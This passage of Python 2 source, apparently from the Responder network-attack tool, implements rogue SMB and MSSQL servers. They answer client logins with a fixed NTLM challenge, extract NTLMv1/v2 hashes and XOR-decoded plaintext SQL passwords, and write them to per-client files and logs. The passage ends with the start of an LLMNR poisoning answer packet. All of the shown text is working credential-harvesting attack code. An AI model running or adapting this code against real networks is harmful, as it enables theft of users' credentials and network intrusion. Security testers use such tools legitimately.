data = self.request.recv(1024)
##session request 139
if data[0] == "\x81":
buffer0 = "\x82\x00\x00\x00"
self.request.send(buffer0)
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
else:
ParseLMNTHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
except Exception:
self.request.close()
pass #no need to print errors..
##################################################################################
#SQL Stuff
##################################################################################
from SQLPackets import *
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
def ParseSQLHash(data,client):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[30:32])[0]
if NthashLen == 24:
NthashOffset = struct.unpack('<H',data[32:34])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[36:38])[0]
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = os.path.join(ResponderPATH,"MSSQL-NTLMv1-Client-"+client+".txt")
if PrintData(outfile,User+"::"+Domain):
print "[+]MSSQL NTLMv1 hash captured from :",client
print '[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal)
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
logging.warning('[+]MsSQL NTLMv1 hash captured from :%s'%(client))
logging.warning('[+]MSSQL NTLMv1 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
logging.warning('[+]MSSQL NTLMv1 Domain is :%s'%(Domain))
logging.warning('[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal))
if NthashLen > 60:
DomainLen = struct.unpack('<H',data[36:38])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0]
NthashLen = struct.unpack('<H',data[30:32])[0]
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = os.path.join(ResponderPATH,"MSSQL-NTLMv2-Client-"+client+".txt")
Writehash = User+"::"+Domain+":"+NumChal+":"+Hash[:32].upper()+":"+Hash[32:].upper()
if PrintData(outfile,User+"::"+Domain):
print "[+]MSSQL NTLMv2 Hash captured from :",client
print "[+]MSSQL NTLMv2 Complete Hash is : ", Writehash
WriteData(outfile,Writehash,User+"::"+Domain)
logging.warning('[+]MsSQL NTLMv2 hash captured from :%s'%(client))
logging.warning('[+]MSSQL NTLMv2 Domain is :%s'%(Domain))
logging.warning('[+]MSSQL NTLMv2 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
logging.warning('[+]MSSQL NTLMv2 Complete Hash is : %s'%(Writehash))
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
def ParseClearTextSQLPass(Data,client):
outfile = os.path.join(ResponderPATH,"MSSQL-PlainText-Password-"+client+".txt")
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
PwdOffset = struct.unpack('<h',Data[52:54])[0]
AppOffset = struct.unpack('<h',Data[56:58])[0]
PwdLen = AppOffset-PwdOffset
UsernameLen = PwdOffset-UsernameOffset
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
if PrintData(outfile,UserName+":"+PwdStr):
print "[+]MSSQL PlainText Password captured from :",client
print "[+]MSSQL Username: %s Password: %s"%(UserName, PwdStr)
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
logging.warning('[+]MSSQL PlainText Password captured from :%s'%(client))
logging.warning('[+]MSSQL Username: %s Password: %s'%(UserName, PwdStr))
def ParsePreLoginEncValue(Data):
PacketLen = struct.unpack('>H',Data[2:4])[0]
EncryptionValue = Data[PacketLen-7:PacketLen-6]
if re.search("NTLMSSP",Data):
return True
else:
return False
#MS-SQL server class.
class MSSQL(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
##Pre-Login Message
if data[0] == "\x12":
buffer0 = str(MSSQLPreLoginAnswer())
self.request.send(buffer0)
data = self.request.recv(1024)
##NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data):
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
##NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])
except Exception:
pass
self.request.close()
##################################################################################
#LLMNR Stuff
##################################################################################
#LLMNR Answer packet.
class LLMNRAns(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.